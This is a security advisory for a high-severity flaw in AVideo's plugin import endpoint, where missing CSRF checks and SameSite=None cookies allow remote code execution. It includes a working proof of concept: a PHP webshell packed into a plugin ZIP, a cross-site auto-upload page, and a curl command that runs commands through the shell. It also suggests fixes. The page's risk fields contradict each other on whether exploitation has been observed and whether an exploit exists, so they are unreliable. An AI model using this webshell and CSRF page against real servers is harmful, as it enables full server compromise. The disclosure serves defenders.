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GHSA-hv36-p4w4-6vmj

HighCVSS 8.8 / 10
Published Mar 20, 2026·Last modified Mar 25, 2026
Affected Components(0)

No affected components available

Description

Summary

The objects/pluginImport.json.php endpoint allows admin users to upload and install plugin ZIP files containing executable PHP code, but lacks any CSRF protection. Combined with the application explicitly setting session.cookie_samesite = 'None' for HTTPS connections, an unauthenticated attacker can craft a page that, when visited by an authenticated admin, silently uploads a malicious plugin containing a PHP webshell, achieving Remote Code Execution on the server.

Details

The root cause has two components working together:

1. SameSite=None on session cookies (objects/include_config.php:134-137):

if ($isHTTPS) {
    ini_set('session.cookie_samesite', 'None');
    ini_set('session.cookie_secure', '1');
}

This explicitly allows browsers to include the session cookie on cross-origin requests to the AVideo instance.

2. No CSRF protection on pluginImport.json.php (objects/pluginImport.json.php:18):

if (!User::isAdmin()) {
    $obj->msg = "You are not admin";
    die(json_encode($obj));
}

The endpoint only checks User::isAdmin() via the session. There is:

  • No CSRF token validation (the verifyToken/globalToken mechanism used elsewhere is absent)
  • No allowOrigin() call (contrast with objects/videoAddNew.json.php which calls allowOrigin() at line 8)
  • No Referer or Origin header validation
  • No requirement for custom headers (e.g., X-Requested-With)

The upload form at view/managerPluginUpload.php also contains no CSRF token — it's a plain <form enctype="multipart/form-data"> with a file input.

Why the attack bypasses CORS preflight: multipart/form-data is a CORS-safelisted Content-Type, so a fetch() call with mode: 'no-cors' and credentials: 'include' sends the request directly without an OPTIONS preflight. The attacker cannot read the response, but the side effect — plugin installation and PHP file extraction to the web-accessible plugin/ directory — is the objective.

Why secondary PHP files are not validated: The ZIP validation (lines 67-152) thoroughly checks for path traversal, dangerous extensions (.phtml, .phar, .sh, etc.), and verifies the main plugin file extends PluginAbstract. However, .php is intentionally not in the dangerousExtensions list (it's a plugin system), and only the main file (PluginName/PluginName.php) is checked for the PluginAbstract pattern. Any additional .php files in the ZIP are extracted without content inspection.

PoC

Step 1: Create the malicious plugin ZIP

mkdir -p EvilPlugin
# Main file — passes PluginAbstract validation
cat > EvilPlugin/EvilPlugin.php << 'PLUG'
<?php
class EvilPlugin extends PluginAbstract {
    public function getTags() { return array(); }
    public function getDescription() { return "test"; }
    public function getName() { return "EvilPlugin"; }
    public function getUUID() { return "evil-0000-0000-0000"; }
    public function getPluginVersion() { return "1.0"; }
    public function getEmptyDataObject() { return new stdClass(); }
}
PLUG

# Secondary file — webshell, NOT checked for PluginAbstract
cat > EvilPlugin/cmd.php << 'SHELL'
<?php if(isset($_GET['c'])) system($_GET['c']); ?>
SHELL

zip -r evil-plugin.zip EvilPlugin/

Step 2: Host the CSRF exploit page

<!DOCTYPE html>
<html>
<body>
<h1>Loading...</h1>
<script>
// Minimal ZIP with EvilPlugin/EvilPlugin.php and EvilPlugin/cmd.php
// In practice, the attacker would embed the base64-encoded ZIP bytes here
async function exploit() {
    const zipResp = await fetch('evil-plugin.zip');
    const zipBlob = await zipResp.blob();

    const formData = new FormData();
    formData.append('input-b1', zipBlob, 'evil-plugin.zip');

    fetch('https://TARGET_AVIDEO_INSTANCE/objects/pluginImport.json.php', {
        method: 'POST',
        body: formData,
        mode: 'no-cors',
        credentials: 'include'
    });
}
exploit();
</script>
</body>
</html>

Step 3: Admin visits attacker's page while logged into AVideo over HTTPS

The browser sends the multipart/form-data POST with the admin's PHPSESSID cookie (allowed by SameSite=None). The server processes the upload, validates the ZIP structure, and extracts it to plugin/EvilPlugin/.

Step 4: Attacker accesses the webshell

curl 'https://TARGET_AVIDEO_INSTANCE/plugin/EvilPlugin/cmd.php?c=id'
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

Impact

  • Remote Code Execution: An unauthenticated attacker achieves arbitrary OS command execution on the AVideo server by exploiting a logged-in admin's session.
  • Full server compromise: The webshell runs as the web server user (www-data), enabling data exfiltration, lateral movement, database access, and further privilege escalation.
  • No attacker account needed: The attacker requires zero privileges on the target system — only that an admin visits a page they control.
  • Stealth: The attack is invisible to the admin (fire-and-forget side-effect request). The no-cors mode means no visible error or redirect.

Recommended Fix

1. Add CSRF token validation to objects/pluginImport.json.php (primary fix):

// After the isAdmin() check at line 18, add:
if (!User::isAdmin()) {
    $obj->msg = "You are not admin";
    die(json_encode($obj));
}

// Add CSRF protection
allowOrigin();

// Also validate a CSRF token
if (empty($_POST['globalToken']) || !verifyToken($_POST['globalToken'])) {
    $obj->msg = "Invalid CSRF token";
    die(json_encode($obj));
}

2. Update the upload form in view/managerPluginUpload.php to include the token:

<form enctype="multipart/form-data">
    <input type="hidden" name="globalToken" value="<?php echo getToken(); ?>">
    <input id="input-b1" name="input-b1" type="file" class="">
</form>

And pass it in the JavaScript upload config:

$('#input-b1').fileinput({
    uploadUrl: webSiteRootURL + 'objects/pluginImport.json.php',
    uploadExtraData: { globalToken: $('input[name=globalToken]').val() },
    // ...
});

3. Consider changing SameSite=None to SameSite=Lax unless cross-origin cookie inclusion is specifically required for application functionality. Lax prevents cross-site POST requests from including cookies, which would mitigate this and similar CSRF vectors application-wide.

Risk Scores
Base Score
8.8

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. The attacker needs the user to perform some action, like clicking a link. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.

Threat Intelligence
8.1

Exploitation activity has been observed. Apply available patches or mitigations urgently.

EPSS
0.37%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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High severity
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